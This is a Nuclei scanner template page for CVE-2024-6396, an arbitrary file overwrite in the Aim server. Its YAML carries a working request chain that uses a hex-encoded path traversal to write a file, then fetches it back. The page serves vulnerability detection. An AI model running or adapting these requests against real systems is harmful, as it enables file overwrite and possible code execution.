Skip to content
Nuclei Templates

Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite

ID: CVE-2024-6396

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,aim,aimhubio,file-write

Description

Section titled “Description”

A vulnerability in the _backup_run function in aimhubio/aim version 3.19.3 allows remote attackers to overwrite any file on the host server and exfiltrate arbitrary data. The vulnerability arises due to improper handling of the run_hash and repo.path parameters, which can be manipulated to create and write to arbitrary file paths. This can lead to denial of service by overwriting critical system files, loss of private data, and potential remote code execution.

YAML Source

Section titled “YAML Source”
id: CVE-2024-6396


info:
  name: Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A vulnerability in the `_backup_run` function in aimhubio/aim version 3.19.3 allows remote attackers to overwrite any file on the host server and exfiltrate arbitrary data. The vulnerability arises due to improper handling of the `run_hash` and `repo.path` parameters, which can be manipulated to create and write to arbitrary file paths. This can lead to denial of service by overwriting critical system files, loss of private data, and potential remote code execution.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6396
    cwe-id: CWE-29
    cpe: cpe:2.3:a:aimstack:aim:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    verified: true
    fofa-query: icon_hash="-1047157256"
    product: aim
    vendor: aimstack
  tags: cve,cve2024,aim,aimhubio,file-write


variables:
  filename: "{{rand_base(7)}}"
  args: "{{ concat(hex_decode('000000000001000000060a000000fe0000000000000000fe004b000000042e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f707974686f6e332e392f736974652d7061636b616765732f61696d5f75692f6275696c642f'),filename, hex_decode('2e747874')) }}"


http:
  - raw:
      - |
        POST /tracking/client_1/get-resource HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {
        "resource_handler": "my_resource",
        "resource_type": "Repo",
        "args": "AAAAAAABAAAABw=="
        }


      - |
        POST /tracking/client_1/read-instruction HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {
        "resource_handler": "my_resource",
        "method_name": "_backup_run",
        "args": "{{base64(args)}}"
        }


      - |
        @Host: http://{{Host}}:43800
        GET /static-files/{{filename}}.txt HTTP/1.1
        Host: {{Host}}:43800


    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '{"handler":"my_resource"}'


      - type: word
        part: body_3
        words:
          - "{{filename}}.txt"


      - type: word
        part: header_3
        words:
          - "text/plain"
# digest: 490a0046304402206bbd886111389034a373a8688605664cfc4633ae42139ee60fef2120a3a8b31d02203bc97a26c857c1d283477729cb409e981e34a2549cea6a37537f310d6aaefaab:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6396.yaml"

View on Github